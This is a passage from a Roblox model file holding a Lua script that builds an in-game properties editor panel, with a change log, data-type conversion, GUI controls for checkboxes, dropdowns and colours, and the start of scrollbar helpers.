							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Properties</string>
							<ProtectedString name="Source">--[[
	
Change log:

09/18
	Fixed checkbox mouseover sprite
	Encapsulated checkbox creation into separate method
	Fixed another checkbox issue

09/15
	Invalid input is ignored instead of setting to default of that data type
	Consolidated control methods and simplified them
	All input goes through ToValue method
	Fixed position of BrickColor palette
	Made DropDown appear above row if it would otherwise exceed the page height
	Cleaned up stylesheets

09/14
	Made properties window scroll when mouse wheel scrolled
	Object/Instance and Color3 data types handled properly
	Multiple BrickColor controls interfering with each other fixed
	Added support for Content data type
	
--]]


-- Services
local Teams = game:GetService(&quot;Teams&quot;)
local Workspace = game:GetService(&quot;Workspace&quot;)
local Debris = game:GetService(&quot;Debris&quot;)
local ContentProvider = game:GetService(&quot;ContentProvider&quot;)
local Players = game:GetService(&quot;Players&quot;)

-- Styles

function CreateColor3(r, g, b) return Color3.new(r/255,g/255,b/255) end

local Styles = {
	Font = Enum.Font.Arial;
	Margin = 5;
	Black = CreateColor3(0,0,0);
	White = CreateColor3(255,255,255);
}

local Row = {
	Font = Styles.Font;
	FontSize = Enum.FontSize.Size14;
	TextXAlignment = Enum.TextXAlignment.Left;
	TextColor = Styles.Black;
	TextColorOver = Styles.White;
	TextLockedColor = CreateColor3(120,120,120);
	Height = 24;
	BorderColor = CreateColor3(216,216,216);
	BackgroundColor = Styles.White;
	BackgroundColorAlternate = CreateColor3(246,246,246);
	BackgroundColorMouseover = CreateColor3(211,224,244);
	TitleMarginLeft = 15;
}

local DropDown = {
	Font = Styles.Font;
	FontSize = Enum.FontSize.Size14;
	TextColor = CreateColor3(0,0,0);
	TextColorOver = Styles.White;
	TextXAlignment = Enum.TextXAlignment.Left;
	Height = 16;
	BackColor = Styles.White;
	BackColorOver = CreateColor3(86,125,188);
	BorderColor = CreateColor3(216,216,216);
	BorderSizePixel = 2;
	ArrowColor = CreateColor3(160,160,160);
	ArrowColorOver = Styles.Black;
}

local BrickColors = {
	BoxSize = 13;
	BorderSizePixel = 1;
	BorderColor = CreateColor3(160,160,160);
	FrameColor = CreateColor3(160,160,160);
	Size = 20;
	Padding = 4;
	ColorsPerRow = 8;
	OuterBorder = 1;
	OuterBorderColor = Styles.Black;
}

function HidePlayerList()
	--game.StarterGui:SetCoreGuiEnabled(&quot;All&quot;, false)
end

while _G.qAPI == nil do
	wait(.1)
end

wait(1)

local Enums = _G.qAPI.Enums
local Properties = _G.qAPI.Classes

local Gui = script.Parent.Parent
local PropertiesFrame = Gui:FindFirstChild(&quot;PropertiesFrame&quot;)
local ExplorerFrame = Gui:FindFirstChild(&quot;ExplorerPanel&quot;)

local bindGetSelection = ExplorerFrame.GetSelection
local bindSelectionChanged = ExplorerFrame.SelectionChanged

local ContentUrl = ContentProvider.BaseUrl .. &quot;asset/?id=&quot;

function GetSelection()
	local selection = bindGetSelection:Invoke()
	if #selection == 0 then
		return nil
	else
		return selection[1]
	end 
end

-- Data Type Handling

function ToString(value, type)
	if type == &quot;float&quot; then
		return tostring(Round(value,2))
	elseif type == &quot;Content&quot; then
		if string.find(value,&quot;/asset&quot;) then
			local match = string.find(value, &quot;=&quot;) + 1
			local id = string.sub(value, match)
			return id
		else
			return tostring(value)
		end
	elseif type == &quot;Vector2&quot; then
		local x = value.x
		local y = value.y
		return string.format(&quot;%g, %g&quot;, x,y)
	elseif type == &quot;Vector3&quot; then
		local x = value.x
		local y = value.y
		local z = value.z
		return string.format(&quot;%g, %g, %g&quot;, x,y,z)
	elseif type == &quot;Color3&quot; then
		local r = value.r
		local g = value.g
		local b = value.b
		return string.format(&quot;%d, %d, %d&quot;, r*255,g*255,b*255)
	elseif type == &quot;UDim2&quot; then
		local xScale = value.X.Scale
		local xOffset = value.X.Offset
		local yScale = value.Y.Scale
		local yOffset = value.Y.Offset
		return string.format(&quot;{%d, %d}, {%d, %d}&quot;, xScale, xOffset, yScale, yOffset)
	else
		return tostring(value)
	end
end

function ToValue(value,type)
	if type == &quot;Vector2&quot; then
		local list = Split(value,&quot;,&quot;)
		if #list &lt; 2 then return nil end
		local x = tonumber(list[1]) or 0
		local y = tonumber(list[2]) or 0
		return Vector2.new(x,y)
	elseif type == &quot;Vector3&quot; then
		local list = Split(value,&quot;,&quot;)
		if #list &lt; 3 then return nil end
		local x = tonumber(list[1]) or 0
		local y = tonumber(list[2]) or 0
		local z = tonumber(list[3]) or 0
		return Vector3.new(x,y,z)
	elseif type == &quot;Color3&quot; then
		local list = Split(value,&quot;,&quot;)
		if #list &lt; 3 then return nil end
		local r = tonumber(list[1]) or 0
		local g = tonumber(list[2]) or 0
		local b = tonumber(list[3]) or 0
		return Color3.new(r/255,g/255, b/255)
	elseif type == &quot;UDim2&quot; then
		local list = Split(string.gsub(string.gsub(value, &quot;{&quot;, &quot;&quot;),&quot;}&quot;,&quot;&quot;),&quot;,&quot;)
		if #list &lt; 4 then return nil end
		local xScale = tonumber(list[1]) or 0
		local xOffset = tonumber(list[2]) or 0
		local yScale = tonumber(list[3]) or 0
		local yOffset = tonumber(list[4]) or 0
		return UDim2.new(xScale, xOffset, yScale, yOffset)
	elseif type == &quot;Content&quot; then
		if tonumber(value) ~= nil then
			value = ContentUrl .. value
		end
		return value
	elseif type == &quot;float&quot; or type == &quot;int&quot; or type == &quot;double&quot; then
		return tonumber(value)
	else
		return nil
	end
end

-- Number

function Round(number, decimalPlaces)
	return tonumber(string.format(&quot;%.&quot; .. (decimalPlaces or 0) .. &quot;f&quot;, number))
end

-- Strings

function Split(str, delimiter)
	local start = 1
	local t = {}
	while true do
		local pos = string.find (str, delimiter, start, true)
		if not pos then
			break
		end
		table.insert (t, string.sub (str, start, pos - 1))
		start = pos + string.len (delimiter)
	end
	table.insert (t, string.sub (str, start))
	return t
end

-- Tables

function CopyTable(T)
  local t2 = {}
  for k,v in pairs(T) do
    t2[k] = v
  end
  return t2
end

function SortTable(T)
	table.sort(T, 
		function(x,y) return x.Name &lt; y.Name
	end)
end

-- Spritesheet
local Sprite = {
	Width = 13;
	Height = 13;
}

local Spritesheet = {
	Image = &quot;http://www.roblox.com/asset/?id=128896947&quot;;
	Height = 256;
	Width = 256;
}

local Images = {
	&quot;unchecked&quot;,
	&quot;checked&quot;,
	&quot;unchecked_over&quot;,
	&quot;checked_over&quot;,
	&quot;unchecked_disabled&quot;,
	&quot;checked_disabled&quot;
}

function SpritePosition(spriteName)
	local x = 0
	local y = 0
	for i,v in pairs(Images) do
		if (v == spriteName) then
			return {x, y}
		end
		x = x + Sprite.Height
		if (x + Sprite.Width) &gt; Spritesheet.Width then
			x = 0
			y = y + Sprite.Height
		end
	end
end

function GetCheckboxImageName(checked, readOnly, mouseover)
	if checked then
		if readOnly then
			return &quot;checked_disabled&quot;
		elseif mouseover then
			return &quot;checked_over&quot;
		else
			return &quot;checked&quot;
		end
	else
		if readOnly then
			return &quot;unchecked_disabled&quot;
		elseif mouseover then
			return &quot;unchecked_over&quot;
		else
			return &quot;unchecked&quot;
		end
	end
end

function GetProperties(className,root)
	root = root or true
	local objectdata = Properties[className]
	if objectdata == nil then
		return {}
	end
	local properties = CopyTable(objectdata.Properties)
	if objectdata[&quot;Inherits&quot;] then
		local inheritedProperties = GetProperties(objectdata[&quot;Inherits&quot;],false)
		for _,property in pairs(inheritedProperties) do
			table.insert(properties,property)
		end
	end
	if (root) then
		SortTable(properties)
	end	
	return properties
end

-- Gui Controls --

function CreateCell()
	local tableCell = Instance.new(&quot;Frame&quot;)
	tableCell.Size = UDim2.new(0.5, -1, 1, 0)
	tableCell.BackgroundColor3 = Row.BackgroundColor
	tableCell.BorderColor3 = Row.BorderColor
	return tableCell
end
	
function CreateLabel(readOnly)
	local label = Instance.new(&quot;TextLabel&quot;)
	label.Font = Row.Font
	label.FontSize = Row.FontSize
	label.TextXAlignment = Row.TextXAlignment
	label.BackgroundTransparency = 1
	
	if readOnly then
		label.TextColor3 = Row.TextLockedColor
	else
		label.TextColor3 = Row.TextColor
	end
	return label
end

function CreateTextButton(readOnly, onClick)
	local button = Instance.new(&quot;TextButton&quot;)
	button.Font = Row.Font
	button.FontSize = Row.FontSize
	button.TextXAlignment = Row.TextXAlignment
	button.BackgroundTransparency = 1
	if readOnly then
		button.TextColor3 = Row.TextLockedColor
	else
		button.TextColor3 = Row.TextColor
		button.MouseButton1Click:connect(function()
			onClick()
		end)
	end
	return button
end

function CreateTextBox(readOnly)
	if readOnly then
		local box = CreateLabel(readOnly)
		return box
	else
		local box = Instance.new(&quot;TextBox&quot;)
		box.ClearTextOnFocus = false
		box.Font = Row.Font
		box.FontSize = Row.FontSize
		box.TextXAlignment = Row.TextXAlignment
		box.BackgroundTransparency = 1
		box.TextColor3 = Row.TextColor
		return box
	end
end

function CreateDropDownItem(text, onClick)
	local button = Instance.new(&quot;TextButton&quot;)
	button.Font = DropDown.Font
	button.FontSize = DropDown.FontSize
	button.TextColor3 = DropDown.TextColor
	button.TextXAlignment = DropDown.TextXAlignment
	button.BackgroundColor3 = DropDown.BackColor
	button.AutoButtonColor = false
	button.BorderSizePixel = 0
	button.Active = true
	button.Text = text
	
	button.MouseEnter:connect(function()
		button.TextColor3 = DropDown.TextColorOver
		button.BackgroundColor3 = DropDown.BackColorOver
	end)
	button.MouseLeave:connect(function()
		button.TextColor3 = DropDown.TextColor
		button.BackgroundColor3 = DropDown.BackColor
	end)
	button.MouseButton1Click:connect(function()
		onClick(text)
	end)	
	return button
end

function CreateDropDown(choices, currentChoice, readOnly, onClick)
	local frame = Instance.new(&quot;Frame&quot;)	
	frame.Name = &quot;DropDown&quot;
	frame.Size = UDim2.new(1, 0, 1, 0)
	frame.BackgroundTransparency = 1
	frame.Active = true
	
	local menu = nil
	local arrow = nil
	local expanded = false
	local margin = DropDown.BorderSizePixel;
	
	local button = Instance.new(&quot;TextButton&quot;)
	button.Font = Row.Font
	button.FontSize = Row.FontSize
	button.TextXAlignment = Row.TextXAlignment
	button.BackgroundTransparency = 1
	button.TextColor3 = Row.TextColor
	if readOnly then
		button.TextColor3 = Row.TextLockedColor
	end
	button.Text = currentChoice
	button.Size = UDim2.new(1, -2 * Styles.Margin, 1, 0)
	button.Position = UDim2.new(0, Styles.Margin, 0, 0)
	button.Parent = frame
	
	local function showArrow(color)
		if arrow then arrow:Destroy() end
		
		local graphicTemplate = Create(&apos;Frame&apos;,{
			Name=&quot;Graphic&quot;;
			BorderSizePixel = 0;
			BackgroundColor3 = color;
		})
		local graphicSize = 16/2
		
		arrow = ArrowGraphic(graphicSize,&apos;Down&apos;,true,graphicTemplate)
		arrow.Position = UDim2.new(1,-graphicSize * 2,0.5,-graphicSize/2)
		arrow.Parent = frame
	end
	
	local function hideMenu()
		expanded = false
		showArrow(DropDown.ArrowColor)
		if menu then menu:Destroy() end
	end
	
	local function showMenu()
		expanded = true
		menu = Instance.new(&quot;Frame&quot;)
		menu.Size = UDim2.new(1, -2 * margin, 0, #choices * DropDown.Height)
		menu.Position = UDim2.new(0, margin, 0, Row.Height + margin)
		menu.BackgroundTransparency = 0
		menu.BackgroundColor3 = DropDown.BackColor
		menu.BorderColor3 = DropDown.BorderColor
		menu.BorderSizePixel = DropDown.BorderSizePixel
		menu.Active = true
		menu.ZIndex = 5
		menu.Parent = frame
		
		local parentFrameHeight = menu.Parent.Parent.Parent.Parent.Size.Y.Offset
		local rowHeight = menu.Parent.Parent.Parent.Position.Y.Offset
		print(&quot;parentFrameHeight: &quot; .. parentFrameHeight)
		if (rowHeight + menu.Size.Y.Offset) &gt; parentFrameHeight then
			print(&quot;Too low&quot;)
			menu.Position = UDim2.new(0, margin, 0, -1 * (#choices * DropDown.Height) - margin)
		end
			
		local function choice(name)
			onClick(name)
			hideMenu()
		end
		
		for _,name in pairs(choices) do
			local option = CreateDropDownItem(name, function()
				choice(name)
			end)
			option.Size = UDim2.new(1, 0, 0, 16)
			option.Position = UDim2.new(0, 0, 0, (_ - 1) * DropDown.Height)
			option.ZIndex = menu.ZIndex
			option.Parent = menu
		end
	end
	
	showArrow(DropDown.ArrowColor)
	
	if not readOnly then
		
		button.MouseEnter:connect(function()
			button.TextColor3 = Row.TextColor
			showArrow(DropDown.ArrowColorOver)
		end)
		button.MouseLeave:connect(function()
			button.TextColor3 = Row.TextColor
			if not expanded then
				showArrow(DropDown.ArrowColor)
			end
		end)
		button.MouseButton1Click:connect(function()
			if expanded then
				hideMenu()
			else
				showMenu()
			end
		end)
	end
	
	return frame,button
end

function CreateBrickColor(readOnly, onClick)
	local frame = Instance.new(&quot;Frame&quot;)
	frame.Size = UDim2.new(1,0,1,0)
	frame.BackgroundTransparency = 1
	
	local colorPalette = Instance.new(&quot;Frame&quot;)
	colorPalette.BackgroundTransparency = 0
	colorPalette.SizeConstraint = Enum.SizeConstraint.RelativeXX
	colorPalette.Size = UDim2.new(1, -2 * BrickColors.OuterBorder, 1, -2 * BrickColors.OuterBorder)
	colorPalette.BorderSizePixel = BrickColors.BorderSizePixel
	colorPalette.BorderColor3 = BrickColors.BorderColor
	colorPalette.Position = UDim2.new(0, BrickColors.OuterBorder, 0, BrickColors.OuterBorder + Row.Height)
	colorPalette.ZIndex = 5
	colorPalette.Visible = false
	colorPalette.BorderSizePixel = BrickColors.OuterBorder
	colorPalette.BorderColor3 = BrickColors.OuterBorderColor
	colorPalette.Parent = frame
	
	local function show()
		colorPalette.Visible = true
	end
	
	local function hide()
		colorPalette.Visible = false
	end
	
	local function toggle()
		colorPalette.Visible = not colorPalette.Visible
	end
	
	local colorBox = Instance.new(&quot;TextButton&quot;, frame)
	colorBox.Position = UDim2.new(0, Styles.Margin, 0, Styles.Margin)
	colorBox.Size = UDim2.new(0, BrickColors.BoxSize, 0, BrickColors.BoxSize)
	colorBox.Text = &quot;&quot;
	colorBox.MouseButton1Click:connect(function()
		if not readOnly then
			toggle()
		end
	end)
	
	if readOnly then
		colorBox.AutoButtonColor = false
	end
	
	local spacingBefore = (Styles.Margin * 2) + BrickColors.BoxSize
	
	local propertyLabel = CreateTextButton(readOnly, function()
		if not readOnly then
			toggle()
		end
	end)
	propertyLabel.Size = UDim2.new(1, (-1 * spacingBefore) - Styles.Margin, 1, 0)
	propertyLabel.Position = UDim2.new(0, spacingBefore, 0, 0)
	propertyLabel.Parent = frame
	
	local size = (1 / BrickColors.ColorsPerRow)
	
	for index = 0, 63 do
		local brickColor = BrickColor.palette(index)
		local color3 = brickColor.Color
		
		local x = size * (index % BrickColors.ColorsPerRow)
		local y = size * math.floor(index / BrickColors.ColorsPerRow)
	
		local brickColorBox = Instance.new(&quot;TextButton&quot;)
		brickColorBox.Text = &quot;&quot;
		brickColorBox.Size = UDim2.new(size,0,size,0)
		brickColorBox.BackgroundColor3 = color3
		brickColorBox.Position = UDim2.new(x, 0, y, 0)
		brickColorBox.ZIndex = colorPalette.ZIndex
		brickColorBox.Parent = colorPalette
	
		brickColorBox.MouseButton1Click:connect(function()
			hide()
			onClick(brickColor)
		end)
	end
	
	return frame,propertyLabel,colorBox
end

function CreateColor3Control(readOnly, onClick)
	local frame = Instance.new(&quot;Frame&quot;)
	frame.Size = UDim2.new(1,0,1,0)
	frame.BackgroundTransparency = 1
	
	local colorBox = Instance.new(&quot;TextButton&quot;, frame)
	colorBox.Position = UDim2.new(0, Styles.Margin, 0, Styles.Margin)
	colorBox.Size = UDim2.new(0, BrickColors.BoxSize, 0, BrickColors.BoxSize)
	colorBox.Text = &quot;&quot;
	colorBox.AutoButtonColor = false
	
	local spacingBefore = (Styles.Margin * 2) + BrickColors.BoxSize
	local box = CreateTextBox(readOnly)
	box.Size = UDim2.new(1, (-1 * spacingBefore) - Styles.Margin, 1, 0)
	box.Position = UDim2.new(0, spacingBefore, 0, 0)
	box.Parent = frame
	
	return frame,box,colorBox
end

function CreateCheckbox(value, readOnly, onClick)
	local checked = value
	local mouseover = false

	local checkboxFrame = Instance.new(&quot;ImageButton&quot;)
	checkboxFrame.Size = UDim2.new(0, Sprite.Width, 0, Sprite.Height)
	checkboxFrame.BackgroundTransparency = 1
	checkboxFrame.ClipsDescendants = true
	--checkboxFrame.Position = UDim2.new(0, Styles.Margin, 0, Styles.Margin)

	local spritesheetImage = Instance.new(&quot;ImageLabel&quot;, checkboxFrame)
	spritesheetImage.Name = &quot;SpritesheetImageLabel&quot;
	spritesheetImage.Size = UDim2.new(0, Spritesheet.Width, 0, Spritesheet.Height)
	spritesheetImage.Image = Spritesheet.Image
	spritesheetImage.BackgroundTransparency = 1
	
	local function updateSprite()
		print(&quot;Checked value in updateSprite: &quot; .. tostring(checked))
		local spriteName = GetCheckboxImageName(checked, readOnly, mouseover)
		local spritePosition = SpritePosition(spriteName)
		spritesheetImage.Position = UDim2.new(0, -1 * spritePosition[1], 0, -1 * spritePosition[2])
	end
	
	function setValue(val)
		checked = val
		print(&quot;Checked value in setValue(&quot; .. tostring(checked) .. &quot;)&quot;)
		updateSprite()
	end

	if not readOnly then
		checkboxFrame.MouseEnter:connect(function() mouseover = true updateSprite() end)
		checkboxFrame.MouseLeave:connect(function() mouseover = false updateSprite() end)
		checkboxFrame.MouseButton1Click:connect(function()
			--print(&quot;Clicked checkbox&quot;)
			onClick(checked)
		end)
	end
	
	updateSprite()
	
	return checkboxFrame, setValue
end



-- Code for handling controls of various data types --

local Controls = {}

Controls[&quot;default&quot;] = function(object, propertyData, readOnly)
	local propertyName = propertyData[&quot;Name&quot;]
	local propertyType = propertyData[&quot;Type&quot;]
	
	local box = CreateTextBox(readOnly)
	box.Size = UDim2.new(1, -2 * Styles.Margin, 1, 0)
	box.Position = UDim2.new(0, Styles.Margin, 0, 0)

	local function update()
		local value = object[propertyName]
		box.Text = ToString(value, propertyType)
	end
	
	if not readOnly then
		box.FocusLost:connect(function(enterPressed)
			Set(object, propertyData, ToValue(box.Text,propertyType))
			update()
		end)
	end
	
	update()
	
	object.Changed:connect(function(property)
		if (property == propertyName) then
			update()
		end
	end)
	
	return box
end

Controls[&quot;bool&quot;] = function(object, propertyData, readOnly)
	local propertyName = propertyData[&quot;Name&quot;]
	local checked = object[propertyName]
	
	local checkbox, setValue = CreateCheckbox(checked, readOnly, function(value)
		print(&quot;onClick() Clicked checkbox&quot;)
		Set(object, propertyData, not checked)
	end)
	checkbox.Position = UDim2.new(0, Styles.Margin, 0, Styles.Margin)
	
	setValue(checked)
	
	local function update()
		print(&quot;update()&quot;)
		checked = object[propertyName]
		print(&quot;Calling updateCheckbox(&quot; .. tostring(checked) .. &quot;)&quot;)
		setValue(checked)
	end
	
	object.Changed:connect(function(property)
		print(&quot;bool value changed()&quot;)
		if (property == propertyName) then
			update()
		end
	end)
	
	update()
	
	return checkbox
end

Controls[&quot;BrickColor&quot;] = function(object, propertyData, readOnly)
	local propertyName = propertyData[&quot;Name&quot;]

	local frame,label,brickColorBox = CreateBrickColor(readOnly, function(brickColor)
		Set(object, propertyData, brickColor)
	end)
	
	local function update()
		local value = object[propertyName]
		brickColorBox.BackgroundColor3 = value.Color
		label.Text = tostring(value)
	end
	
	update()
	
	object.Changed:connect(function(property)
		if (property == propertyName) then
			update()
		end
	end)
	
	return frame
end

Controls[&quot;Color3&quot;] = function(object, propertyData, readOnly)
	local propertyName = propertyData[&quot;Name&quot;]

	local frame,textBox,colorBox = CreateColor3Control(readOnly)
	
	textBox.FocusLost:connect(function(enterPressed)
		Set(object, propertyData, ToValue(textBox.Text,&quot;Color3&quot;))
		local value = object[propertyName]
		colorBox.BackgroundColor3 = value
		textBox.Text = ToString(value, &quot;Color3&quot;)
	end)
			
	local function update()
		local value = object[propertyName]
		colorBox.BackgroundColor3 = value
		textBox.Text = ToString(value, &quot;Color3&quot;)
	end
	
	update()
	
	object.Changed:connect(function(property)
		if (property == propertyName) then
			update()
		end
	end)
	
	return frame
end

function IsEnum(propertyType)
	return Enums[tostring(propertyType)] ~= nil
end

Controls[&quot;Enum&quot;] = function(object, propertyData, readOnly)
	local propertyName = propertyData[&quot;Name&quot;]
	local propertyType = propertyData[&quot;Type&quot;]
	
	local enumName = object[propertyName].Name
	
	local enumNames = {}
	for _,enum in pairs(Enum[tostring(propertyType)]:GetEnumItems()) do
		table.insert(enumNames, enum.Name)
	end
	
	local dropdown, propertyLabel = CreateDropDown(enumNames, enumName, readOnly, function(value)
		Set(object, propertyData, value)
	end)
	dropdown.Parent = frame
	
	local function update()
		local value = object[propertyName].Name
		propertyLabel.Text = tostring(value)
	end
	
	update()
	
	object.Changed:connect(function(property)
		if (property == propertyName) then
			update()
		end
	end)
	
	return dropdown
end

function GetControl(object, propertyData, readOnly)
	local propertyType = propertyData[&quot;Type&quot;]
	local control = nil
	
	if Controls[propertyType] then
		control = Controls[propertyType](object, propertyData, readOnly)
	elseif IsEnum(propertyType) then
		control = Controls[&quot;Enum&quot;](object, propertyData, readOnly)
	else
		control = Controls[&quot;default&quot;](object, propertyData, readOnly)
	end
	return control
end

function CanEditObject(object)
	local player = Players.LocalPlayer
	local character = player.Character
	--if (player.Name == &quot;CommanderCrow&quot; or player.Name == &quot;Merely&quot; or player.Name == &quot;Player1&quot;) then
		return true
	--[[else
		if (object == character or object:IsDescendantOf(character) or object:IsDescendantOf(player) or object == player) then
			return true
		end
		return false
	end--]]
end

function CanEditProperty(object,propertyData)
	return (propertyData[&quot;readonly&quot;] ~= true)
			and (CanEditObject(object))
end

function PropertyIsHidden(propertyData)
	return propertyData[&quot;deprecated&quot;] == true 
		 or propertyData[&quot;hidden&quot;] == true
		 or propertyData[&quot;writeonly&quot;] == true
		 or propertyData[&quot;notbrowsable&quot;] == true
		 or propertyData[&quot;RobloxPlaceSecurity&quot;] == true
		 or propertyData[&quot;LocalUserSecurity&quot;] == true
end

function Set(object, propertyData, value)
	local propertyName = propertyData[&quot;Name&quot;]
	local propertyType = propertyData[&quot;Type&quot;]
	
	if value == nil then print(&quot;Not changing property because result is nil&quot;) return end
	
	if CanEditProperty(object,propertyData) then
		object[propertyName] = value
	end
end

function CreateRow(object, propertyData, isAlternateRow)
	local propertyName = propertyData[&quot;Name&quot;]
	local propertyType = propertyData[&quot;Type&quot;]
	local propertyValue = object[propertyName]
	--rowValue, rowValueType, isAlternate
	local backColor = Row.BackgroundColor;
	if (isAlternateRow) then
		backColor = Row.BackgroundColorAlternate
	end
	
	local readOnly = not CanEditProperty(object, propertyData)
	if propertyType == &quot;Instance&quot; or propertyType == &quot;Object&quot; then readOnly = true end

	local rowFrame = Instance.new(&quot;Frame&quot;)
	rowFrame.Size = UDim2.new(1,0,0,Row.Height)
	rowFrame.BackgroundTransparency = 1
	rowFrame.Name = &apos;Row&apos;

	local propertyLabelFrame = CreateCell()
	propertyLabelFrame.Parent = rowFrame
	propertyLabelFrame.ClipsDescendants = true
	
	local propertyLabel = CreateLabel(readOnly)
	propertyLabel.Text = propertyName
	propertyLabel.Size = UDim2.new(1, -1 * Row.TitleMarginLeft, 1, 0)
	propertyLabel.Position = UDim2.new(0, Row.TitleMarginLeft, 0, 0)
	propertyLabel.Parent = propertyLabelFrame

	local propertyValueFrame = CreateCell()
	propertyValueFrame.Size = UDim2.new(0.5, -1, 1, 0)
	propertyValueFrame.Position = UDim2.new(0.5, 0, 0, 0)
	propertyValueFrame.Parent = rowFrame

	local control = GetControl(object, propertyData, readOnly)
	control.Parent = propertyValueFrame

	rowFrame.MouseEnter:connect(function()
		propertyLabelFrame.BackgroundColor3 = Row.BackgroundColorMouseover
		propertyValueFrame.BackgroundColor3 = Row.BackgroundColorMouseover
	end)
	rowFrame.MouseLeave:connect(function()
		propertyLabelFrame.BackgroundColor3 = backColor
		propertyValueFrame.BackgroundColor3 = backColor
	end)
	
	propertyLabelFrame.BackgroundColor3 = backColor
	propertyValueFrame.BackgroundColor3 = backColor
	
	return rowFrame
end

function ClearPropertiesList()
	for _,instance in pairs(ContentFrame:GetChildren()) do
		instance:Destroy()
	end
end

local selection = script.Parent.Parent:FindFirstChild(&quot;Selection&quot;, 1)

function showProperties(obj)
	ClearPropertiesList()
	if obj == null then return end
	numRows = 0
	for i,v in pairs(GetProperties(obj.className)) do
		local suc, err = pcall(function() 
			if not (PropertyIsHidden(v)) then
				val = obj[v.Name]
				local a = CreateRow(obj, v, ((numRows % 2) == 0))
				a.Position = UDim2.new(0,0,0,numRows*Row.Height)
				a.Parent = ContentFrame
				numRows = numRows + 1
			end
		end)
		if not suc then print(&quot;Error on getting value of &quot; .. v.Name .. &quot; | &quot; .. err) end
		
	end
	ContentFrame.Size = UDim2.new(1, 0, 0, numRows * Row.Height)
	scrollBar.ScrollIndex = 0
	scrollBar.TotalSpace = numRows * Row.Height
	scrollBar.Update()
end

----------------------------------------------------------------
-----------------------SCROLLBAR STUFF--------------------------
----------------------------------------------------------------
----------------------------------------------------------------
local ScrollBarWidth = 16

local ScrollStyles = {
	Background      = Color3.new(233/255, 233/255, 233/255);
	Border          = Color3.new(149/255, 149/255, 149/255);
	Selected        = Color3.new( 63/255, 119/255, 189/255);
	BorderSelected  = Color3.new( 55/255, 106/255, 167/255);
	Text            = Color3.new(  0/255,   0/255,   0/255);
	TextDisabled    = Color3.new(128/255, 128/255, 128/255);
	TextSelected    = Color3.new(255/255, 255/255, 255/255);
	Button          = Color3.new(221/255, 221/255, 221/255);
	ButtonBorder    = Color3.new(149/255, 149/255, 149/255);
	ButtonSelected  = Color3.new(255/255,   0/255,   0/255);
	Field           = Color3.new(255/255, 255/255, 255/255);
	FieldBorder     = Color3.new(191/255, 191/255, 191/255);
	TitleBackground = Color3.new(178/255, 178/255, 178/255);
}
do
	local ZIndexLock = {}
	function SetZIndex(object,z)
		if not ZIndexLock[object] then
			ZIndexLock[object] = true
			if object:IsA&apos;GuiObject&apos; then
				object.ZIndex = z
			end
			local children = object:GetChildren()
			for i = 1,#children do
				SetZIndex(children[i],z)
			end
			ZIndexLock[object] = nil
		end
	end
end
function SetZIndexOnChanged(object)
	return object.Changed:connect(function(p)
		if p == &quot;ZIndex&quot; then
			SetZIndex(object,object.ZIndex)
		end
	end)
end
function Create(ty,data)
	local obj
	if type(ty) == &apos;string&apos; then
		obj = Instance.new(ty)
	else
		obj = ty
	end
	for k, v in pairs(data) do
		if type(k) == &apos;number&apos; then
			v.Parent = obj
		else
			obj[k] = v
		end
	end
	return obj
end
-- returns the ascendant ScreenGui of an object
function GetScreen(screen)
	if screen == nil then return nil end
	while not screen:IsA(&quot;ScreenGui&quot;) do
		screen = screen.Parent
		if screen == nil then return nil end
	end
	return screen
end
-- AutoButtonColor doesn&apos;t always reset properly
function ResetButtonColor(button)
	local active = button.Active
	button.Active = not active
	button.Active = active
end

function ArrowGraphic(size,dir,scaled,template)
	local Frame = Create(&apos;Frame&apos;,{
		Name = &quot;Arrow Graphic&quot;;
		BorderSizePixel = 0;
		Size = UDim2.new(0,size,0,size);
		Transparency = 1;
	})
	if not template then
		template = Instance.new(&quot;Frame&quot;)
		template.BorderSizePixel = 0
	end

	local transform
	if dir == nil or dir == &apos;Up&apos; then
		function transform(p,s) return p,s end
	elseif dir == &apos;Down&apos; then
		function transform(p,s) return UDim2.new(0,p.X.Offset,0,size-p.Y.Offset-1),s end
	elseif dir == &apos;Left&apos; then
		function transform(p,s) return UDim2.new(0,p.Y.Offset,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end
	elseif dir == &apos;Right&apos; then
		function transform(p,s) return UDim2.new(0,size-p.Y.Offset-1,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end
	end

	local scale
	if scaled then
		function scale(p,s) return UDim2.new(p.X.Offset/size,0,p.Y.Offset/size,0),UDim2.new(s.X.Offset/size,0,s.Y.Offset/size,0) end
	else
		function scale(p,s) return p,s end
	end

	local o = math.floor(size/4)
	if size%2 == 0 then
		local n = size/2-1
		for i = 0,n do
			local t = template:Clone()
			local p,s = scale(transform(
				UDim2.new(0,n-i,0,o+i),
				UDim2.new(0,(i+1)*2,0,1)
			))
			t.Position = p
			t.Size = s
			t.Parent = Frame
		end
	else
		local n = (size-1)/2
		for i = 0,n do
			local t = template:Clone()
			local p,s = scale(transform(
				UDim2.new(0,n-i,0,o+i),
				UDim2.new(0,i*2+1,0,1)
			))
			t.Position = p
			t.Size = s
			t.Parent = Frame
		end
	end
	if size%4 &gt; 1 then
		local t = template:Clone()
		local p,s = scale(transform(
			UDim2.new(0,0,0,size-o-1),
			UDim2.new(0,size,0,1)
		))
		t.Position = p
		t.Size = s
		t.Parent = Frame
	end
	return Frame
end

function GripGraphic(size,dir,spacing,scaled,template)
	local Frame = Create(&apos;Frame&apos;,{
		Name = &quot;Grip Graphic&quot;;
		BorderSizePixel = 0;
		Size = UDim2.new(0,size.x,0,size.y);
		Transparency = 1;
	})
	if not template then
		template = Instance.new(&quot;Frame&quot;)
		template.BorderSizePixel = 0
	end

	spacing = spacing or 2

	local scale
	if scaled then
		function scale(p) return UDim2.new(p.X.Offset/size.x,0,p.Y.Offset/size.y,0) end
	else
		function scale(p) return p end
	end

	if dir == &apos;Vertical&apos; then
		for i=0,size.x-1,spacing do
			local t = template:Clone()
			t.Size = scale(UDim2.new(0,1,0,size.y))
			t.Position = scale(UDim2.new(0,i,0,0))
			t.Parent = Frame
		end
	elseif dir == nil or dir == &apos;Horizontal&apos; then
		for i=0,size.y-1,spacing do
			local t = template:Clone()
			t.Size = scale(UDim2.new(0,size.x,0,1))
			t.Position = scale(UDim2.new(0,0,0,i))
			t.Parent = Frame
		end
	end

	return Frame
end

do
	local mt = {
		__index = {
			GetScrollPercent = function(self)
				return self.ScrollIndex/(self.TotalSpace-self.VisibleSpace)
			end;
			CanScrollDown = function(self)
				return self.ScrollIndex + self.VisibleSpace &lt; self.TotalSpace
			end;
			CanScrollUp = function(self)
				return self.ScrollIndex &gt; 0
			end;
